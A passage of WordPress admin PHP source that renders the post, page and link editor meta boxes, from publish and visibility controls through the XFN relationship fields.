$post->ID ) ); ?> /> <label for="sticky" class="selectit"><?php _e( 'Stick this post to the front page' ); ?></label><br /></span> <?php endif; ?> <input type="radio" name="visibility" id="visibility-radio-password" value="password" <?php checked( $visibility, 'password' ); ?> /> <label for="visibility-radio-password" class="selectit"><?php _e('Password protected'); ?></label><br /> <span id="password-span"><label for="post_password"><?php _e('Password:'); ?></label> <input type="text" name="post_password" id="post_password" value="<?php echo esc_attr($post->post_password); ?>" maxlength="20" /><br /></span> <input type="radio" name="visibility" id="visibility-radio-private" value="private" <?php checked( $visibility, 'private' ); ?> /> <label for="visibility-radio-private" class="selectit"><?php _e('Private'); ?></label><br /> <p> <a href="#visibility" class="save-post-visibility hide-if-no-js button"><?php _e('OK'); ?></a> <a href="#visibility" class="cancel-post-visibility hide-if-no-js button-cancel"><?php _e('Cancel'); ?></a> </p> </div> <?php } ?> </div><!-- .misc-pub-section --> <?php /* translators: Publish box date format, see http://php.net/date */ $datef = __( 'M j, Y @ G:i' ); if ( 0 != $post->ID ) { if ( 'future' == $post->post_status ) { // scheduled for publishing at a future date $stamp = __('Scheduled for: <b>%1$s</b>'); } else if ( 'publish' == $post->post_status || 'private' == $post->post_status ) { // already published $stamp = __('Published on: <b>%1$s</b>'); } else if ( '0000-00-00 00:00:00' == $post->post_date_gmt ) { // draft, 1 or more saves, no date specified $stamp = __('Publish <b>immediately</b>'); } else if ( time() < strtotime( $post->post_date_gmt . ' +0000' ) ) { // draft, 1 or more saves, future date specified $stamp = __('Schedule for: <b>%1$s</b>'); } else { // draft, 1 or more saves, date specified $stamp = __('Publish on: <b>%1$s</b>'); } $date = date_i18n( $datef, strtotime( $post->post_date ) ); } else { // draft (no saves, and thus no date specified) $stamp = __('Publish <b>immediately</b>'); $date = date_i18n( $datef, strtotime( current_time('mysql') ) ); } if ( ! empty( $args['args']['revisions_count'] ) ) : $revisions_to_keep = wp_revisions_to_keep( $post ); ?> <div class="misc-pub-section misc-pub-revisions"> <?php if ( $revisions_to_keep > 0 && $revisions_to_keep <= $args['args']['revisions_count'] ) { echo '<span title="' . esc_attr( sprintf( __( 'Your site is configured to keep only the last %s revisions.' ), number_format_i18n( $revisions_to_keep ) ) ) . '">'; printf( __( 'Revisions: %s' ), '<b>' . number_format_i18n( $args['args']['revisions_count'] ) . '+</b>' ); echo '</span>'; } else { printf( __( 'Revisions: %s' ), '<b>' . number_format_i18n( $args['args']['revisions_count'] ) . '</b>' ); } ?> <a class="hide-if-no-js" href="<?php echo esc_url( get_edit_post_link( $args['args']['revision_id'] ) ); ?>"><span aria-hidden="true"><?php _ex( 'Browse', 'revisions' ); ?></span> <span class="screen-reader-text"><?php _e( 'Browse revisions' ); ?></span></a> </div> <?php endif; if ( $can_publish ) : // Contributors don't get to choose the date of publish ?> <div class="misc-pub-section curtime misc-pub-curtime"> <span id="timestamp"> <?php printf($stamp, $date); ?></span> <a href="#edit_timestamp" class="edit-timestamp hide-if-no-js"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text"><?php _e( 'Edit date and time' ); ?></span></a> <div id="timestampdiv" class="hide-if-js"><?php touch_time(($action == 'edit'), 1); ?></div> </div><?php // /misc-pub-section ?> <?php endif; ?> <?php /** * Fires after the post time/date setting in the Publish meta box. * * @since 2.9.0 */ do_action( 'post_submitbox_misc_actions' ); ?> </div> <div class="clear"></div> </div> <div id="major-publishing-actions"> <?php /** * Fires at the beginning of the publishing actions section of the Publish meta box. * * @since 2.7.0 */ do_action( 'post_submitbox_start' ); ?> <div id="delete-action"> <?php if ( current_user_can( "delete_post", $post->ID ) ) { if ( !EMPTY_TRASH_DAYS ) $delete_text = __('Delete Permanently'); else $delete_text = __('Move to Trash'); ?> <a class="submitdelete deletion" href="<?php echo get_delete_post_link($post->ID); ?>"><?php echo $delete_text; ?></a><?php } ?> </div> <div id="publishing-action"> <span class="spinner"></span> <?php if ( !in_array( $post->post_status, array('publish', 'future', 'private') ) || 0 == $post->ID ) { if ( $can_publish ) : if ( !empty($post->post_date_gmt) && time() < strtotime( $post->post_date_gmt . ' +0000' ) ) : ?> <input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Schedule') ?>" /> <?php submit_button( __( 'Schedule' ), 'primary button-large', 'publish', false, array( 'accesskey' => 'p' ) ); ?> <?php else : ?> <input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Publish') ?>" /> <?php submit_button( __( 'Publish' ), 'primary button-large', 'publish', false, array( 'accesskey' => 'p' ) ); ?> <?php endif; else : ?> <input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Submit for Review') ?>" /> <?php submit_button( __( 'Submit for Review' ), 'primary button-large', 'publish', false, array( 'accesskey' => 'p' ) ); ?> <?php endif; } else { ?> <input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Update') ?>" /> <input name="save" type="submit" class="button button-primary button-large" id="publish" accesskey="p" value="<?php esc_attr_e('Update') ?>" /> <?php } ?> </div> <div class="clear"></div> </div> </div> <?php } /** * Display attachment submit form fields. * * @since 3.5.0 * * @param object $post */ function attachment_submit_meta_box( $post ) { global $action; $post_type = $post->post_type; $post_type_object = get_post_type_object($post_type); $can_publish = current_user_can($post_type_object->cap->publish_posts); ?> <div class="submitbox" id="submitpost"> <div id="minor-publishing"> <?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key ?> <div style="display:none;"> <?php submit_button( __( 'Save' ), 'button', 'save' ); ?> </div> <div id="misc-publishing-actions"> <?php /* translators: Publish box date format, see http://php.net/date */ $datef = __( 'M j, Y @ G:i' ); $stamp = __('Uploaded on: <b>%1$s</b>'); $date = date_i18n( $datef, strtotime( $post->post_date ) ); ?> <div class="misc-pub-section curtime misc-pub-curtime"> <span id="timestamp"><?php printf($stamp, $date); ?></span> </div><!-- .misc-pub-section --> <?php /** * Fires after the 'Uploaded on' section of the Save meta box * in the attachment editing screen. * * @since 3.5.0 */ do_action( 'attachment_submitbox_misc_actions' ); ?> </div><!-- #misc-publishing-actions --> <div class="clear"></div> </div><!-- #minor-publishing --> <div id="major-publishing-actions"> <div id="delete-action"> <?php if ( current_user_can( 'delete_post', $post->ID ) ) if ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) { echo "<a class='submitdelete deletion' href='" . get_delete_post_link( $post->ID ) . "'>" . __( 'Trash' ) . "</a>"; } else { $delete_ays = ! MEDIA_TRASH ? " onclick='return showNotice.warn();'" : ''; echo "<a class='submitdelete deletion'$delete_ays href='" . get_delete_post_link( $post->ID, null, true ) . "'>" . __( 'Delete Permanently' ) . "</a>"; } ?> </div> <div id="publishing-action"> <span class="spinner"></span> <input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e('Update') ?>" /> <input name="save" type="submit" class="button-primary button-large" id="publish" accesskey="p" value="<?php esc_attr_e('Update') ?>" /> </div> <div class="clear"></div> </div><!-- #major-publishing-actions --> </div> <?php } /** * Display post format form elements. * * @since 3.1.0 * * @param object $post */ function post_format_meta_box( $post, $box ) { if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post->post_type, 'post-formats' ) ) : $post_formats = get_theme_support( 'post-formats' ); if ( is_array( $post_formats[0] ) ) : $post_format = get_post_format( $post->ID ); if ( !$post_format ) $post_format = '0'; // Add in the current one if it isn't there yet, in case the current theme doesn't support it if ( $post_format && !in_array( $post_format, $post_formats[0] ) ) $post_formats[0][] = $post_format; ?> <div id="post-formats-select"> <input type="radio" name="post_format" class="post-format" id="post-format-0" value="0" <?php checked( $post_format, '0' ); ?> /> <label for="post-format-0" class="post-format-icon post-format-standard"><?php echo get_post_format_string( 'standard' ); ?></label> <?php foreach ( $post_formats[0] as $format ) : ?> <br /><input type="radio" name="post_format" class="post-format" id="post-format-<?php echo esc_attr( $format ); ?>" value="<?php echo esc_attr( $format ); ?>" <?php checked( $post_format, $format ); ?> /> <label for="post-format-<?php echo esc_attr( $format ); ?>" class="post-format-icon post-format-<?php echo esc_attr( $format ); ?>"><?php echo esc_html( get_post_format_string( $format ) ); ?></label> <?php endforeach; ?><br /> </div> <?php endif; endif; } /** * Display post tags form fields. * * @since 2.6.0 * * @param object $post */ function post_tags_meta_box($post, $box) { $defaults = array('taxonomy' => 'post_tag'); if ( !isset($box['args']) || !is_array($box['args']) ) $args = array(); else $args = $box['args']; extract( wp_parse_args($args, $defaults), EXTR_SKIP ); $tax_name = esc_attr($taxonomy); $taxonomy = get_taxonomy($taxonomy); $user_can_assign_terms = current_user_can( $taxonomy->cap->assign_terms ); $comma = _x( ',', 'tag delimiter' ); ?> <div class="tagsdiv" id="<?php echo $tax_name; ?>"> <div class="jaxtag"> <div class="nojs-tags hide-if-js"> <p><?php echo $taxonomy->labels->add_or_remove_items; ?></p> <textarea name="<?php echo "tax_input[$tax_name]"; ?>" rows="3" cols="20" class="the-tags" id="tax-input-<?php echo $tax_name; ?>" <?php disabled( ! $user_can_assign_terms ); ?>><?php echo str_replace( ',', $comma . ' ', get_terms_to_edit( $post->ID, $tax_name ) ); // textarea_escaped by esc_attr() ?></textarea></div> <?php if ( $user_can_assign_terms ) : ?> <div class="ajaxtag hide-if-no-js"> <label class="screen-reader-text" for="new-tag-<?php echo $tax_name; ?>"><?php echo $box['title']; ?></label> <div class="taghint"><?php echo $taxonomy->labels->add_new_item; ?></div> <p><input type="text" id="new-tag-<?php echo $tax_name; ?>" name="newtag[<?php echo $tax_name; ?>]" class="newtag form-input-tip" size="16" autocomplete="off" value="" /> <input type="button" class="button tagadd" value="<?php esc_attr_e('Add'); ?>" /></p> </div> <p class="howto"><?php echo $taxonomy->labels->separate_items_with_commas; ?></p> <?php endif; ?> </div> <div class="tagchecklist"></div> </div> <?php if ( $user_can_assign_terms ) : ?> <p class="hide-if-no-js"><a href="#titlediv" class="tagcloud-link" id="link-<?php echo $tax_name; ?>"><?php echo $taxonomy->labels->choose_from_most_used; ?></a></p> <?php endif; ?> <?php } /** * Display post categories form fields. * * @since 2.6.0 * * @param object $post */ function post_categories_meta_box( $post, $box ) { $defaults = array('taxonomy' => 'category'); if ( !isset($box['args']) || !is_array($box['args']) ) $args = array(); else $args = $box['args']; extract( wp_parse_args($args, $defaults), EXTR_SKIP ); $tax = get_taxonomy($taxonomy); ?> <div id="taxonomy-<?php echo $taxonomy; ?>" class="categorydiv"> <ul id="<?php echo $taxonomy; ?>-tabs" class="category-tabs"> <li class="tabs"><a href="#<?php echo $taxonomy; ?>-all"><?php echo $tax->labels->all_items; ?></a></li> <li class="hide-if-no-js"><a href="#<?php echo $taxonomy; ?>-pop"><?php _e( 'Most Used' ); ?></a></li> </ul> <div id="<?php echo $taxonomy; ?>-pop" class="tabs-panel" style="display: none;"> <ul id="<?php echo $taxonomy; ?>checklist-pop" class="categorychecklist form-no-clear" > <?php $popular_ids = wp_popular_terms_checklist($taxonomy); ?> </ul> </div> <div id="<?php echo $taxonomy; ?>-all" class="tabs-panel"> <?php $name = ( $taxonomy == 'category' ) ? 'post_category' : 'tax_input[' . $taxonomy . ']'; echo "<input type='hidden' name='{$name}[]' value='0' />"; // Allows for an empty term set to be sent. 0 is an invalid Term ID and will be ignored by empty() checks. ?> <ul id="<?php echo $taxonomy; ?>checklist" data-wp-lists="list:<?php echo $taxonomy?>" class="categorychecklist form-no-clear"> <?php wp_terms_checklist($post->ID, array( 'taxonomy' => $taxonomy, 'popular_cats' => $popular_ids ) ) ?> </ul> </div> <?php if ( current_user_can($tax->cap->edit_terms) ) : ?> <div id="<?php echo $taxonomy; ?>-adder" class="wp-hidden-children"> <h4> <a id="<?php echo $taxonomy; ?>-add-toggle" href="#<?php echo $taxonomy; ?>-add" class="hide-if-no-js"> <?php /* translators: %s: add new taxonomy label */ printf( __( '+ %s' ), $tax->labels->add_new_item ); ?> </a> </h4> <p id="<?php echo $taxonomy; ?>-add" class="category-add wp-hidden-child"> <label class="screen-reader-text" for="new<?php echo $taxonomy; ?>"><?php echo $tax->labels->add_new_item; ?></label> <input type="text" name="new<?php echo $taxonomy; ?>" id="new<?php echo $taxonomy; ?>" class="form-required form-input-tip" value="<?php echo esc_attr( $tax->labels->new_item_name ); ?>" aria-required="true"/> <label class="screen-reader-text" for="new<?php echo $taxonomy; ?>_parent"> <?php echo $tax->labels->parent_item_colon; ?> </label> <?php wp_dropdown_categories( array( 'taxonomy' => $taxonomy, 'hide_empty' => 0, 'name' => 'new'.$taxonomy.'_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => '— ' . $tax->labels->parent_item . ' —' ) ); ?> <input type="button" id="<?php echo $taxonomy; ?>-add-submit" data-wp-lists="add:<?php echo $taxonomy ?>checklist:<?php echo $taxonomy ?>-add" class="button category-add-submit" value="<?php echo esc_attr( $tax->labels->add_new_item ); ?>" /> <?php wp_nonce_field( 'add-'.$taxonomy, '_ajax_nonce-add-'.$taxonomy, false ); ?> <span id="<?php echo $taxonomy; ?>-ajax-response"></span> </p> </div> <?php endif; ?> </div> <?php } /** * Display post excerpt form fields. * * @since 2.6.0 * * @param object $post */ function post_excerpt_meta_box($post) { ?> <label class="screen-reader-text" for="excerpt"><?php _e('Excerpt') ?></label><textarea rows="1" cols="40" name="excerpt" id="excerpt"><?php echo $post->post_excerpt; // textarea_escaped ?></textarea> <p><?php _e('Excerpts are optional hand-crafted summaries of your content that can be used in your theme. <a href="http://codex.wordpress.org/Excerpt" target="_blank">Learn more about manual excerpts.</a>'); ?></p> <?php } /** * Display trackback links form fields. * * @since 2.6.0 * * @param object $post */ function post_trackback_meta_box($post) { $form_trackback = '<input type="text" name="trackback_url" id="trackback_url" class="code" value="'. esc_attr( str_replace("\n", ' ', $post->to_ping) ) .'" />'; if ('' != $post->pinged) { $pings = '<p>'. __('Already pinged:') . '</p><ul>'; $already_pinged = explode("\n", trim($post->pinged)); foreach ($already_pinged as $pinged_url) { $pings .= "\n\t<li>" . esc_html($pinged_url) . "</li>"; } $pings .= '</ul>'; } ?> <p><label for="trackback_url"><?php _e('Send trackbacks to:'); ?></label> <?php echo $form_trackback; ?><br /> (<?php _e('Separate multiple URLs with spaces'); ?>)</p> <p><?php _e('Trackbacks are a way to notify legacy blog systems that you’ve linked to them. If you link other WordPress sites they’ll be notified automatically using <a href="http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments" target="_blank">pingbacks</a>, no other action necessary.'); ?></p> <?php if ( ! empty($pings) ) echo $pings; } /** * Display custom fields form fields. * * @since 2.6.0 * * @param object $post */ function post_custom_meta_box($post) { ?> <div id="postcustomstuff"> <div id="ajax-response"></div> <?php $metadata = has_meta($post->ID); foreach ( $metadata as $key => $value ) { if ( is_protected_meta( $metadata[ $key ][ 'meta_key' ], 'post' ) || ! current_user_can( 'edit_post_meta', $post->ID, $metadata[ $key ][ 'meta_key' ] ) ) unset( $metadata[ $key ] ); } list_meta( $metadata ); meta_form( $post ); ?> </div> <p><?php _e('Custom fields can be used to add extra metadata to a post that you can <a href="http://codex.wordpress.org/Using_Custom_Fields" target="_blank">use in your theme</a>.'); ?></p> <?php } /** * Display comments status form fields. * * @since 2.6.0 * * @param object $post */ function post_comment_status_meta_box($post) { ?> <input name="advanced_view" type="hidden" value="1" /> <p class="meta-options"> <label for="comment_status" class="selectit"><input name="comment_status" type="checkbox" id="comment_status" value="open" <?php checked($post->comment_status, 'open'); ?> /> <?php _e( 'Allow comments.' ) ?></label><br /> <label for="ping_status" class="selectit"><input name="ping_status" type="checkbox" id="ping_status" value="open" <?php checked($post->ping_status, 'open'); ?> /> <?php printf( __( 'Allow <a href="%s" target="_blank">trackbacks and pingbacks</a> on this page.' ), __( 'http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments' ) ); ?></label> <?php /** * Fires at the end of the Discussion meta box on the post editing screen. * * @since 3.1.0 * * @param WP_Post $post WP_Post object of the current post. */ do_action( 'post_comment_status_meta_box-options', $post ); ?> </p> <?php } /** * Display comments for post table header * * @since 3.0.0 * * @param array $result table header rows * @return array */ function post_comment_meta_box_thead($result) { unset($result['cb'], $result['response']); return $result; } /** * Display comments for post. * * @since 2.8.0 * * @param object $post */ function post_comment_meta_box( $post ) { global $wpdb; wp_nonce_field( 'get-comments', 'add_comment_nonce', false ); ?> <p class="hide-if-no-js" id="add-new-comment"><a class="button" href="#commentstatusdiv" onclick="window.commentReply && commentReply.addcomment(<?php echo $post->ID; ?>);return false;"><?php _e('Add comment'); ?></a></p> <?php $total = get_comments( array( 'post_id' => $post->ID, 'number' => 1, 'count' => true ) ); $wp_list_table = _get_list_table('WP_Post_Comments_List_Table'); $wp_list_table->display( true ); if ( 1 > $total ) { echo '<p id="no-comments">' . __('No comments yet.') . '</p>'; } else { $hidden = get_hidden_meta_boxes( get_current_screen() ); if ( ! in_array('commentsdiv', $hidden) ) { ?> <script type="text/javascript">jQuery(document).ready(function(){commentsBox.get(<?php echo $total; ?>, 10);});</script> <?php } ?> <p class="hide-if-no-js" id="show-comments"><a href="#commentstatusdiv" onclick="commentsBox.get(<?php echo $total; ?>);return false;"><?php _e('Show comments'); ?></a> <span class="spinner"></span></p> <?php } wp_comment_trashnotice(); } /** * Display slug form fields. * * @since 2.6.0 * * @param object $post */ function post_slug_meta_box($post) { /** This filter is documented in wp-admin/edit-tag-form.php */ ?> <label class="screen-reader-text" for="post_name"><?php _e('Slug') ?></label><input name="post_name" type="text" size="13" id="post_name" value="<?php echo esc_attr( apply_filters( 'editable_slug', $post->post_name ) ); ?>" /> <?php } /** * Display form field with list of authors. * * @since 2.6.0 * * @param object $post */ function post_author_meta_box($post) { global $user_ID; ?> <label class="screen-reader-text" for="post_author_override"><?php _e('Author'); ?></label> <?php wp_dropdown_users( array( 'who' => 'authors', 'name' => 'post_author_override', 'selected' => empty($post->ID) ? $user_ID : $post->post_author, 'include_selected' => true ) ); } /** * Display list of revisions. * * @since 2.6.0 * * @param object $post */ function post_revisions_meta_box( $post ) { wp_list_post_revisions( $post ); } // -- Page related Meta Boxes /** * Display page attributes form fields. * * @since 2.7.0 * * @param object $post */ function page_attributes_meta_box($post) { $post_type_object = get_post_type_object($post->post_type); if ( $post_type_object->hierarchical ) { $dropdown_args = array( 'post_type' => $post->post_type, 'exclude_tree' => $post->ID, 'selected' => $post->post_parent, 'name' => 'parent_id', 'show_option_none' => __('(no parent)'), 'sort_column' => 'menu_order, post_title', 'echo' => 0, ); /** * Filter the arguments used to generate a Pages drop-down element. * * @since 3.3.0 * * @see wp_dropdown_pages() * * @param array $dropdown_args Array of arguments used to generate the pages drop-down. * @param WP_Post $post The current WP_Post object. */ $dropdown_args = apply_filters( 'page_attributes_dropdown_pages_args', $dropdown_args, $post ); $pages = wp_dropdown_pages( $dropdown_args ); if ( ! empty($pages) ) { ?> <p><strong><?php _e('Parent') ?></strong></p> <label class="screen-reader-text" for="parent_id"><?php _e('Parent') ?></label> <?php echo $pages; ?> <?php } // end empty pages check } // end hierarchical check. if ( 'page' == $post->post_type && 0 != count( get_page_templates( $post ) ) ) { $template = !empty($post->page_template) ? $post->page_template : false; ?> <p><strong><?php _e('Template') ?></strong></p> <label class="screen-reader-text" for="page_template"><?php _e('Page Template') ?></label><select name="page_template" id="page_template"> <option value='default'><?php _e('Default Template'); ?></option> <?php page_template_dropdown($template); ?> </select> <?php } ?> <p><strong><?php _e('Order') ?></strong></p> <p><label class="screen-reader-text" for="menu_order"><?php _e('Order') ?></label><input name="menu_order" type="text" size="4" id="menu_order" value="<?php echo esc_attr($post->menu_order) ?>" /></p> <p><?php if ( 'page' == $post->post_type ) _e( 'Need help? Use the Help tab in the upper right of your screen.' ); ?></p> <?php } // -- Link related Meta Boxes /** * Display link create form fields. * * @since 2.7.0 * * @param object $link */ function link_submit_meta_box($link) { ?> <div class="submitbox" id="submitlink"> <div id="minor-publishing"> <?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key ?> <div style="display:none;"> <?php submit_button( __( 'Save' ), 'button', 'save', false ); ?> </div> <div id="minor-publishing-actions"> <div id="preview-action"> <?php if ( !empty($link->link_id) ) { ?> <a class="preview button" href="<?php echo $link->link_url; ?>" target="_blank"><?php _e('Visit Link'); ?></a> <?php } ?> </div> <div class="clear"></div> </div> <div id="misc-publishing-actions"> <div class="misc-pub-section misc-pub-private"> <label for="link_private" class="selectit"><input id="link_private" name="link_visible" type="checkbox" value="N" <?php checked($link->link_visible, 'N'); ?> /> <?php _e('Keep this link private') ?></label> </div> </div> </div> <div id="major-publishing-actions"> <?php /** This action is documented in wp-admin/includes/meta-boxes.php */ do_action( 'post_submitbox_start' ); ?> <div id="delete-action"> <?php if ( !empty($_GET['action']) && 'edit' == $_GET['action'] && current_user_can('manage_links') ) { ?> <a class="submitdelete deletion" href="<?php echo wp_nonce_url("link.php?action=delete&link_id=$link->link_id", 'delete-bookmark_' . $link->link_id); ?>" onclick="if ( confirm('<?php echo esc_js(sprintf(__("You are about to delete this link '%s'\n 'Cancel' to stop, 'OK' to delete."), $link->link_name )); ?>') ) {return true;}return false;"><?php _e('Delete'); ?></a> <?php } ?> </div> <div id="publishing-action"> <?php if ( !empty($link->link_id) ) { ?> <input name="save" type="submit" class="button-large button-primary" id="publish" accesskey="p" value="<?php esc_attr_e('Update Link') ?>" /> <?php } else { ?> <input name="save" type="submit" class="button-large button-primary" id="publish" accesskey="p" value="<?php esc_attr_e('Add Link') ?>" /> <?php } ?> </div> <div class="clear"></div> </div> <?php /** * Fires at the end of the Publish box in the Link editing screen. * * @since 2.5.0 */ do_action( 'submitlink_box' ); ?> <div class="clear"></div> </div> <?php } /** * Display link categories form fields. * * @since 2.6.0 * * @param object $link */ function link_categories_meta_box($link) { ?> <div id="taxonomy-linkcategory" class="categorydiv"> <ul id="category-tabs" class="category-tabs"> <li class="tabs"><a href="#categories-all"><?php _e( 'All Categories' ); ?></a></li> <li class="hide-if-no-js"><a href="#categories-pop"><?php _e( 'Most Used' ); ?></a></li> </ul> <div id="categories-all" class="tabs-panel"> <ul id="categorychecklist" data-wp-lists="list:category" class="categorychecklist form-no-clear"> <?php if ( isset($link->link_id) ) wp_link_category_checklist($link->link_id); else wp_link_category_checklist(); ?> </ul> </div> <div id="categories-pop" class="tabs-panel" style="display: none;"> <ul id="categorychecklist-pop" class="categorychecklist form-no-clear"> <?php wp_popular_terms_checklist('link_category'); ?> </ul> </div> <div id="category-adder" class="wp-hidden-children"> <h4><a id="category-add-toggle" href="#category-add"><?php _e( '+ Add New Category' ); ?></a></h4> <p id="link-category-add" class="wp-hidden-child"> <label class="screen-reader-text" for="newcat"><?php _e( '+ Add New Category' ); ?></label> <input type="text" name="newcat" id="newcat" class="form-required form-input-tip" value="<?php esc_attr_e( 'New category name' ); ?>" aria-required="true" /> <input type="button" id="link-category-add-submit" data-wp-lists="add:categorychecklist:link-category-add" class="button" value="<?php esc_attr_e( 'Add' ); ?>" /> <?php wp_nonce_field( 'add-link-category', '_ajax_nonce', false ); ?> <span id="category-ajax-response"></span> </p> </div> </div> <?php } /** * Display form fields for changing link target. * * @since 2.6.0 * * @param object $link */ function link_target_meta_box($link) { ?> <fieldset><legend class="screen-reader-text"><span><?php _e('Target') ?></span></legend> <p><label for="link_target_blank" class="selectit"> <input id="link_target_blank" type="radio" name="link_target" value="_blank" <?php echo ( isset( $link->link_target ) && ($link->link_target == '_blank') ? 'checked="checked"' : ''); ?> /> <?php _e('<code>_blank</code> — new window or tab.'); ?></label></p> <p><label for="link_target_top" class="selectit"> <input id="link_target_top" type="radio" name="link_target" value="_top" <?php echo ( isset( $link->link_target ) && ($link->link_target == '_top') ? 'checked="checked"' : ''); ?> /> <?php _e('<code>_top</code> — current window or tab, with no frames.'); ?></label></p> <p><label for="link_target_none" class="selectit"> <input id="link_target_none" type="radio" name="link_target" value="" <?php echo ( isset( $link->link_target ) && ($link->link_target == '') ? 'checked="checked"' : ''); ?> /> <?php _e('<code>_none</code> — same window or tab.'); ?></label></p> </fieldset> <p><?php _e('Choose the target frame for your link.'); ?></p> <?php } /** * Display checked checkboxes attribute for xfn microformat options. * * @since 1.0.1 * * @param string $class * @param string $value * @param mixed $deprecated Never used. */ function xfn_check( $class, $value = '', $deprecated = '' ) { global $link; if ( !empty( $deprecated ) ) _deprecated_argument( __FUNCTION__, '0.0' ); // Never implemented $link_rel = isset( $link->link_rel ) ? $link->link_rel : ''; // In PHP 5.3: $link_rel = $link->link_rel ?: ''; $rels = preg_split('/\s+/', $link_rel); if ('' != $value && in_array($value, $rels) ) { echo ' checked="checked"'; } if ('' == $value) { if ('family' == $class && strpos($link_rel, 'child') === false && strpos($link_rel, 'parent') === false && strpos($link_rel, 'sibling') === false && strpos($link_rel, 'spouse') === false && strpos($link_rel, 'kin') === false) echo ' checked="checked"'; if ('friendship' == $class && strpos($link_rel, 'friend') === false && strpos($link_rel, 'acquaintance') === false && strpos($link_rel, 'contact') === false) echo ' checked="checked"'; if ('geographical' == $class && strpos($link_rel, 'co-resident') === false && strpos($link_rel, 'neighbor') === false) echo ' checked="checked"'; if ('identity' == $class && in_array('me', $rels) ) echo ' checked="checked"'; } } /** * Display xfn form fields. * * @since 2.6.0 * * @param object $link */ function link_xfn_meta_box($link) { ?> <table class="links-table"> <tr> <th scope="row"><label for="link_rel"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('rel:') ?></label></th> <td><input type="text" name="link_rel" id="link_rel" value="<?php echo ( isset( $link->link_rel ) ? esc_attr($link->link_rel) : ''); ?>" /></td> </tr> <tr> <th scope="row"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('identity') ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('identity') ?></span></legend> <label for="me"> <input type="checkbox" name="identity" value="me" id="me" <?php xfn_check('identity', 'me'); ?> /> <?php _e('another web address of mine') ?></label> </fieldset></td> </tr> <tr> <th scope="row"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('friendship') ?></th> <td><fieldset><legend class="screen-reader-text"><span><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('friendship') ?></span></legend> <label for="contact"> <input class="valinp" type="radio" name="friendship" value="contact" id="contact" <?php xfn_check('friendship', 'contact'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('contact') ?> </label> <label for="acquaintance"> <input class="valinp" type="radio" name="friendship" value="acquaintance" id="acquaintance" <?php xfn_check('friendship', 'acquaintance'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('acquaintance') ?> </label> <label for="friend"> <input class="valinp" type="radio" name="friendship" value="friend" id="friend" <?php xfn_check('friendship', 'friend'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('friend') ?> </label> <label for="friendship"> <input name="friendship" type="radio" class="valinp" value="" id="friendship" <?php xfn_check('friendship'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('none') ?> </label> </fieldset></td> </tr> <tr> <th scope="row"> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('physical') ?> </th> <td><fieldset><legend class="screen-reader-text"><span><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('physical') ?></span></legend> <label for="met"> <input class="valinp" type="checkbox" name="physical" value="met" id="met" <?php xfn_check('physical', 'met'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('met') ?> </label> </fieldset></td> </tr> <tr> <th scope="row"> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('professional') ?> </th> <td><fieldset><legend class="screen-reader-text"><span><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('professional') ?></span></legend> <label for="co-worker"> <input class="valinp" type="checkbox" name="professional" value="co-worker" id="co-worker" <?php xfn_check('professional', 'co-worker'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('co-worker') ?> </label> <label for="colleague"> <input class="valinp" type="checkbox" name="professional" value="colleague" id="colleague" <?php xfn_check('professional', 'colleague'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('colleague') ?> </label> </fieldset></td> </tr> <tr> <th scope="row"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('geographical') ?></th> <td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('geographical') ?> </span></legend> <label for="co-resident"> <input class="valinp" type="radio" name="geographical" value="co-resident" id="co-resident" <?php xfn_check('geographical', 'co-resident'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('co-resident') ?> </label> <label for="neighbor"> <input class="valinp" type="radio" name="geographical" value="neighbor" id="neighbor" <?php xfn_check('geographical', 'neighbor'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('neighbor') ?> </label> <label for="geographical"> <input class="valinp" type="radio" name="geographical" value="" id="geographical" <?php xfn_check('geographical'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('none') ?> </label> </fieldset></td> </tr> <tr> <th scope="row"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('family') ?></th> <td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('family') ?> </span></legend> <label for="child"> <input class="valinp" type="radio" name="family" value="child" id="child" <?php xfn_check('family', 'child'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('child') ?> </label> <label for="kin"> <input class="valinp" type="radio" name="family" value="kin" id="kin" <?php xfn_check('family', 'kin'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('kin') ?> </label> <label for="parent"> <input class="valinp" type="radio" name="family" value="parent" id="parent" <?php xfn_check('family', 'parent'); ?> /> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('parent') ?> </label> <label for="sibling"> <input class="valinp" type="radio" name="family" 